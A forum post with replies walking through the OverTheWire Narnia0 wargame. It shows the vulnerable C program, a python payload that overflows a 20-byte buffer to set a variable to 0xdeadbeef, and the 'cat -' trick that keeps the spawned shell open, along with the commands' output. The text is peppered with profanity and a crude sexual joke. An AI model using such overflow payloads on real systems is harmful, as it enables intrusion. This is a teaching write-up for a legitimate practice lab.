Over The Wire - Narnia0 - basic buffer overflow

OverTheWire: Narnia0 - Basic Exploitation

OverTheWire.org is a website which hosts sever servers for learning linux/hacking/exploitation/crypto/web apps etc. etc… Narnia is there basic exploitation/intro to buffer overflow server.

Before continuing this, the reader is encouraged to/expected to have

  • gone through all the levels on Bandit.
  • have a basic understanding of C/C++
  • have a basic understanding of *nix commands
  • have a basic understanding of memory, the stack, and x86 assembly
  • have a basic understanding of python to speed up exploitation

To start, you just need to ssh into the OverTheWire server. If this is your first time using ssh I strongly encourage you to ssh into bandit.

123loaded@redhat: ssh [email protected]

The OTW website lists all the commands necessary to solve each level. Just type “man command” to view the manual pages of any command, and progress accordingly.

Ok, so now go ahead and ssh into host narnia.labs.overthewire.org as user narnia0. The password to level 0 on each server is just the username of that server. So ssh [email protected], password narnia0. Once in, you’ll notice when you ‘ls’ to see what’s in your home directory that nothing is there. The narnia servers are a little misconfigured since they moved the entire thing over from intruded.net and don’t dump you into your own narnia# directory with the challenge in it like most servers do. A little digging around on the server and we find that all narnia challenges are stored in /games/narnia/. Go ahead and change directory into there and try to run narnia0.

narnia0@melinda:/games/narnia$ ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: deadbeef
buf: deadbeef
val: 0x41414141
WAY OFF!!!
narnia0@melinda:/games/narnia$

Hmmmm, let’s check out the source code of narnia0.c which they so kindly provide to us.

narnia0@melinda:/games/narnia$ cat narnia0.c
int main(){
long val=0x41414141;
char buf[20];

printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef)
    system("/bin/sh");
else {
    printf("WAY OFF!!!!\n");
    exit(1);
}
return 0;

}

Ok, so in x86, as code is run, arguments are pushed onto and popped off of The Stack. The stack has a FILO(First In Last Out) implementation. I guess all of that is a little irrelevant right now for this level, but you’ll need to know everything about how the stack works in the next level or two of narnia, so I’ll link that info if I end up writing more about it. For now, just know that, as soon as main() is executed, any arguments that are passed to main will be pushed onto the stack, and then any variables of fixed length that are declared in said function will be pushed onto the stack. And while the stack grows “up” towards Lower memory addresses, data is written down towards higher memory addresses. So, val gets pushed onto the stack, and then char buf[20].
If we put more than 20 characters of data into buf[] it will overflow the bounds of buf[] and effectively smash the stack and overwrite memory below buf[], which we know from our knowledge of how the stack gets laid out, to be val. Let’s test this.

narnia0@melinda:/games/narnia$ ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: BBBBBBBBBBBBBBBBBBBBBBBB
buf: BBBBBBBBBBBBBBBBBBBBBBBB
val: 0x42424242
WAY OFF!!!

Ah ha! val is now “0x42424242” which is “BBBB” in printable ASCII. Conveniently, this code is written to scan in 24 bytes of data and try to insert them into buf[], which is only a 20 character buffer. So, we simply need to input 20 characters, or bytes, of data, and then smash val with 0xDEADBEEF. Easy right?

But wait 123loaded, DEADBEEF is 8 characters, how we gunna pull that one off? Remember, “0x” is the start of hex characters, and one Byte of data is 2 hex characters (ranging from 0-F). We need a program to print hex values, because they are not printable characters. Enter python.

narnia0@melinda:/games/narnia$ python -c ‘print “B”*20 + “\xEF\xBE\xAD\xDE”’
BBBBBBBBBBBBBBBBBBBBᆳ�

Cool! So now we just copy/paste that onto the terminal and we’re good right??

narnia0@melinda:/games/narnia$ ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: BBBBBBBBBBBBBBBBBBBBᆳ�
buf: BBBBBBBBBBBBBBBBBBBBᆳ�
val: 0xefadbeef
WAY OFF!!!

Wat.
After a couple hours of fucking around on the most basic of narnia levels and questioning your existence and the meaning of life, you realize that something goes awry when you try and copy/paste non-printable characters. Matter of fact, I’m pretty sure things also go wrong if you use input redirection to send the output of python to a file and then cat out that file and pipe it straight to narnia0. Turns out the only clean way is to pipe the output straight from our python command into narnia0, and it finally is correct.

narnia0@melinda:/games/narnia$ python -c ‘print “B”*20 + “\xEF\xBE\xAD\xDE”’ | ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBᆳ�
val: 0xdeadbeef
narnia0@melinda:

Errrrr, wat.
I don’t even.
Back to the drawing board. We’ve overwritten val with the value it wants… so logically, what is happening now? Well, it turns out, i̶f̶ ̶a̶ ̶p̶a̶r̶e̶n̶t̶ ̶p̶r̶o̶c̶e̶s̶s̶ ̶s̶p̶a̶w̶n̶s̶ ̶a̶ ̶c̶h̶i̶l̶d̶ p̶r̶o̶c̶e̶s̶s̶,̶ ̶t̶h̶e̶ ̶p̶a̶r̶e̶n̶t̶ ̶k̶i̶l̶l̶s̶ ̶a̶l̶l̶ ̶i̶t̶s̶ ̶c̶h̶i̶l̶d̶r̶e̶n̶ ̶u̶p̶o̶n̶ ̶t̶e̶r̶m̶i̶n̶a̶t̶i̶o̶n̶.̶.̶.̶
̶f̶u̶c̶k̶i̶n̶g̶ ̶h̶o̶r̶r̶i̶b̶l̶e̶ ̶p̶a̶r̶e̶n̶t̶ ̶n̶a̶r̶n̶i̶a̶0̶ ̶i̶s̶ the pipe sends an EOF (end of file) flag when it closes once the python command is finished executing which makes the system call return immediately, as it assumed the input is done. So, we need to keep narnia0 open so that our shell can pop and we can actually do things in the shell. After hours of fucking around with bash subscripting while trying to land a correct “whoami” from /bin/sh, this happens.

narnia0@melinda:/games/narnia$ (python -c ‘print “B”*20 + “\xEF\xBE\xAD\xDE”’;whoami) | ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBᆳ�
val: 0xdeadbeef
/bin/sh: 1: narnia0: not found

The command “whoami” still ran under narnia0 permissions, but our shell ran for a moment!! That’s the correct syntax to pass a command after our first one (just a semi colon in bash, followed by a legal second command). Now, with a little bash fu, and our knowledge learned from bandit we remember that executing “cat -” will attempt to cat stdIN… which means it will wait for input from the terminal, and not immediately end the command like “cat /some/file” or “whoami” would/did. And alas, we pop a shell. Harder, yet faster, than your mom’s cherry last night, you fucking time traveler.

narnia0@melinda:/games/narnia$ (python -c ‘print “B”*20 + “\xEF\xBE\xAD\xDE”’;cat -) | ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBᆳ�
val: 0xdeadbeef
ls
narnia0 narnia1.c narnia3 narnia4.c narnia6 narnia7.c
narnia0.c narnia2 narnia3.c narnia5 narnia6.c narnia8
narnia1 narnia2.c narnia4 narnia5.c narnia7 narnia8.c
whoami
narnia1

Now with some digging around, find where the password to narnia1 is stored and cat it out. FuckYeah.jpg

4 Likes

That sentence is not fully correct and it is not the reason for the problem you described in the post. What is happening is that, once the python script finish, the pipe is closed and an EOF is sent. That EOF makes the system call returns immediately, as it assumes that the input is done.

Your technique is indeed a way to avoid the issue of the EOF and solve the level.

Good post!

1 Like

Epic Article @123loaded! I am a big fan of these low level tutorials, this is exactly what I like to see :wink: Good job!

Ahhh, that makes a bit more sense. I was kind of taking my best guess, and that was my hypothesis which my hack of a solution seemed to support, and confirmation bias + arrogance in assuming I’m always right + being a lazy fuck led to me never looking it up lolololololol.
Can you explain why it wouldn’t work copy/pasting the input or even doing echo $(python -c ‘print “myEscapedHexStringHere”’ )> file.txt and then cat file.txt | ./narnia0?? The problem at this point wasn’t/isn’t the pipe EOF (though this problem should still occur with this method since we’re still piping something into the narnia0 binary). The problem seems to be that it saves the last two bytes or so backwards…? or like… I don’t even know. Would be curious to hear your thoughts on that one.

PS - Thx for taking the time to skim over (or thoroughly read sometimes I see) every article posted on here man! Feels good to know at least One person is going to read my thoughts and encourage me to do more, LOL! Srsly tho <3. You too @pry0cc hahaha don’t think I didn’t see you down there!

2 Likes

Should I keep them this low level? Like, I’m writing up the tutorial for narnia2 right now, but it is a full blown smash-the-stack-and-overwrite-$EIP-return-to-shellcode challenge, and it requires relatively in-depth knowledge of the stack, x86 assembly, and gdb for reverse-engineering a binary in linux. And like, on one hand I wanna keep it Suuuuuuper low level cause I remember when I didn’t know Any of that, and reading a tutorial that stopped to explain things I didn’t understand was just amazing… but at the same time, explaining x86 assembly and gdb is two seperate tutorials in and of itself lmao… and another part of me wants to just go high levelAF cause I also know there’s some people here that won’t read the whole thing cause it’s just taking too long and going over, and way too into, things they already know how to do lol… and then there’s @0x00pf who’s obligated, out of kindness and his motherly love for the website, to read each post, and I’d be making him read a novel lmao… and I can’t just bring myself to make gdb/x86 assembly tutorials on their own cause I feel that’s lacking a sense of direction lolololol. Whatevs… GG_YOLOsauceInAndAroundMyMouth.jpg

1 Like

Make an ASM and Stack tutorial if you’re concerned about newbies. You could make it a pre-cursor to these and link them.

1 Like

The copying and pasting mostly depends on your terminal. Whenever you “print” a non-printable character your terminal may produce something distinguishable, a special character for non-printable characters, or just nothing… . In the last two cases, you are just loosing information.

Regarding the other option (dump to a file and pipe it), I have just tried and I do not fully understand what do you mean. In may system the program behaves the same…

1 Like

Quick question, when you put "Now with some digging around, find where the password to narnia1 is stored and cat it out. ", where is this file? Any more explanation?

I believe they have an “/etc/passwds/” directory, to which there’s a narnia folder. Or it’s “/etc/narnia_pass/” which has all the narnia passwords. It’s just chillin somewhere obvious in /etc/ I know that.
When I said “somg digging” though, I think I usually do something really ghetto (and not syntactically correct ever) such as “find / | grep narnia | grep pass”.

Just playing around a bit today and figured out a different/tad bit cleaner way to cat that file

After we write to the tmp folder…
python -c ‘print “A” * 20 + “\xEF\xBE\xAD\xDE”’ > /tmp/filename.txt

cat to verify it wrote…
cat /tmp/filename.txt
AAAAAAAAAAAAAAAAAAAAᆳ

Then to pipe it…
example: cat /tmp/filename.txt - | ./narnia0

This is a little bit better because cat is doing the file, then waiting for input from standard in…
which is what - means for bash,
or at least…
what it means for cat

no parenthesis necessary :smiley:

This topic was automatically closed after 30 days. New replies are no longer allowed.